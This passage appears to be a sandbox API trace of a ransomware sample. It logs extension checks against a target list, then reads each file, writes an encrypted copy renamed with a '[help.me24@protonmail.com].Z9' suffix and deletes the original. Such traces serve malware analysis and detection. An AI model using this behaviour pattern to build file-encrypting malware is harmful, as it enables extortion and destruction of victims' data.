	[0075.123] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0075.123] lstrlenW (lpString=".ppt") returned 4
	[0075.123] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.123] lstrlenW (lpString=".zip") returned 4
	[0075.123] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.123] lstrlenW (lpString=".rar") returned 4
	[0075.123] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.124] lstrlenW (lpString=".bz2") returned 4
	[0075.124] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.124] lstrlenW (lpString=".7z") returned 3
	[0075.124] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.124] lstrlenW (lpString=".dbf") returned 4
	[0075.124] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.124] lstrlenW (lpString=".1cd") returned 4
	[0075.124] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0075.124] lstrlenW (lpString=".jpg") returned 4
	[0075.124] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.124] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0075.124] lstrlenW (lpString="tzdb.dat") returned 8
	[0075.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.125] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=105500) returned 1
	[0075.125] CloseHandle (hObject=0x320) returned 1
	[0075.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20
	[0075.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.125] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.125] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.126] GetLastError () returned 0x0
	[0075.126] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x19c1c, lpOverlapped=0x0) returned 1
	[0075.129] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x19c20, lpOverlapped=0x0) returned 1
	[0075.131] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.132] WriteFile (in: hFile=0x358, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0075.132] SetEndOfFile (hFile=0x358) returned 1
	[0075.132] CloseHandle (hObject=0x358) returned 1
	[0075.135] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.135] SetEndOfFile (hFile=0x320) returned 1
	[0075.137] CloseHandle (hObject=0x320) returned 1
	[0075.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.137] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1
	[0075.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.137] lstrlenW (lpString=".doc") returned 4
	[0075.137] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0075.137] lstrlenW (lpString=".docx") returned 5
	[0075.137] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0075.137] lstrlenW (lpString=".pdf") returned 4
	[0075.137] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0075.137] lstrlenW (lpString=".xls") returned 4
	[0075.137] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0075.137] lstrlenW (lpString=".xlsx") returned 5
	[0075.138] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0075.138] lstrlenW (lpString=".ppt") returned 4
	[0075.138] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString=".zip") returned 4
	[0075.138] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString=".rar") returned 4
	[0075.138] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString=".bz2") returned 4
	[0075.138] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0075.138] lstrlenW (lpString=".7z") returned 3
	[0075.138] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString=".dbf") returned 4
	[0075.138] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString=".1cd") returned 4
	[0075.138] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString=".jpg") returned 4
	[0075.138] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.138] lstrlenW (lpString=".doc") returned 4
	[0075.138] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0075.138] lstrlenW (lpString=".docx") returned 5
	[0075.138] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0075.138] lstrlenW (lpString=".pdf") returned 4
	[0075.139] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString=".xls") returned 4
	[0075.139] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString=".xlsx") returned 5
	[0075.139] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0075.139] lstrlenW (lpString=".ppt") returned 4
	[0075.139] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.139] lstrlenW (lpString=".zip") returned 4
	[0075.139] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString=".rar") returned 4
	[0075.139] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString=".bz2") returned 4
	[0075.139] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0075.139] lstrlenW (lpString=".7z") returned 3
	[0075.139] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0075.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.139] lstrlenW (lpString=".dbf") returned 4
	[0075.139] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0075.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.139] lstrlenW (lpString=".1cd") returned 4
	[0075.139] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0075.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0075.139] lstrlenW (lpString=".jpg") returned 4
	[0075.139] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0075.140] lstrcmpiW (lpString1=".txt", lpString2=".Z9") returned -1
	[0075.140] lstrlenW (lpString="README.txt") returned 10
	[0075.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0075.193] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=46) returned 1
	[0075.193] CloseHandle (hObject=0x378) returned 1
	[0075.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20
	[0075.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0075.193] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.193] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.193] GetLastError () returned 0x0
	[0075.193] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2e, lpOverlapped=0x0) returned 1
	[0075.195] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x30, lpOverlapped=0x0) returned 1
	[0075.196] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.196] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0075.196] SetEndOfFile (hFile=0x360) returned 1
	[0075.196] CloseHandle (hObject=0x360) returned 1
	[0075.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.197] SetEndOfFile (hFile=0x378) returned 1
	[0075.197] CloseHandle (hObject=0x378) returned 1
	[0075.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.198] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1
	[0075.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.198] lstrlenW (lpString=".doc") returned 4
	[0075.198] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.198] lstrlenW (lpString=".docx") returned 5
	[0075.198] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0075.198] lstrlenW (lpString=".pdf") returned 4
	[0075.198] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.198] lstrlenW (lpString=".xls") returned 4
	[0075.198] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.198] lstrlenW (lpString=".xlsx") returned 5
	[0075.198] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0075.198] lstrlenW (lpString=".ppt") returned 4
	[0075.198] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString=".zip") returned 4
	[0075.199] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.199] lstrlenW (lpString=".rar") returned 4
	[0075.199] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString=".bz2") returned 4
	[0075.199] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString=".7z") returned 3
	[0075.199] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString=".dbf") returned 4
	[0075.199] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString=".1cd") returned 4
	[0075.199] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString=".jpg") returned 4
	[0075.199] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.199] lstrlenW (lpString=".doc") returned 4
	[0075.199] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString=".docx") returned 5
	[0075.199] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0075.199] lstrlenW (lpString=".pdf") returned 4
	[0075.199] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.199] lstrlenW (lpString=".xls") returned 4
	[0075.199] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.199] lstrlenW (lpString=".xlsx") returned 5
	[0075.199] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0075.199] lstrlenW (lpString=".ppt") returned 4
	[0075.199] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.200] lstrlenW (lpString=".zip") returned 4
	[0075.200] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.200] lstrlenW (lpString=".rar") returned 4
	[0075.200] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.200] lstrlenW (lpString=".bz2") returned 4
	[0075.200] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.200] lstrlenW (lpString=".7z") returned 3
	[0075.200] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.200] lstrlenW (lpString=".dbf") returned 4
	[0075.200] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.200] lstrlenW (lpString=".1cd") returned 4
	[0075.200] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0075.200] lstrlenW (lpString=".jpg") returned 4
	[0075.200] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.200] lstrcmpiW (lpString1=".html", lpString2=".Z9") returned -1
	[0075.200] lstrlenW (lpString="Welcome.html") returned 12
	[0075.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0075.201] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=955) returned 1
	[0075.201] CloseHandle (hObject=0x378) returned 1
	[0075.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20
	[0075.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0075.201] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.201] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.201] GetLastError () returned 0x0
	[0075.201] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3bb, lpOverlapped=0x0) returned 1
	[0075.204] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3c0, lpOverlapped=0x0) returned 1
	[0075.205] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.205] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.206] SetEndOfFile (hFile=0x360) returned 1
	[0075.206] CloseHandle (hObject=0x360) returned 1
	[0075.206] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.206] SetEndOfFile (hFile=0x378) returned 1
	[0075.207] CloseHandle (hObject=0x378) returned 1
	[0075.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.208] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1
	[0075.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.208] lstrlenW (lpString=".doc") returned 4
	[0075.208] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0075.208] lstrlenW (lpString=".docx") returned 5
	[0075.208] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0075.208] lstrlenW (lpString=".pdf") returned 4
	[0075.208] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0075.208] lstrlenW (lpString=".xls") returned 4
	[0075.208] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0075.208] lstrlenW (lpString=".xlsx") returned 5
	[0075.208] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0075.208] lstrlenW (lpString=".ppt") returned 4
	[0075.208] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0075.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.208] lstrlenW (lpString=".zip") returned 4
	[0075.208] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0075.208] lstrlenW (lpString=".rar") returned 4
	[0075.208] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".bz2") returned 4
	[0075.209] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".7z") returned 3
	[0075.209] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString=".dbf") returned 4
	[0075.209] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString=".1cd") returned 4
	[0075.209] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString=".jpg") returned 4
	[0075.209] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString=".doc") returned 4
	[0075.209] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".docx") returned 5
	[0075.209] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0075.209] lstrlenW (lpString=".pdf") returned 4
	[0075.209] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".xls") returned 4
	[0075.209] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".xlsx") returned 5
	[0075.209] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0075.209] lstrlenW (lpString=".ppt") returned 4
	[0075.209] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.209] lstrlenW (lpString=".zip") returned 4
	[0075.209] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0075.209] lstrlenW (lpString=".rar") returned 4
	[0075.210] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0075.210] lstrlenW (lpString=".bz2") returned 4
	[0075.210] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0075.210] lstrlenW (lpString=".7z") returned 3
	[0075.210] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0075.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.210] lstrlenW (lpString=".dbf") returned 4
	[0075.210] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0075.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.210] lstrlenW (lpString=".1cd") returned 4
	[0075.210] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0075.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0075.210] lstrlenW (lpString=".jpg") returned 4
	[0075.210] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0075.210] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.210] lstrlenW (lpString="AppXManifest.xml") returned 16
	[0075.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
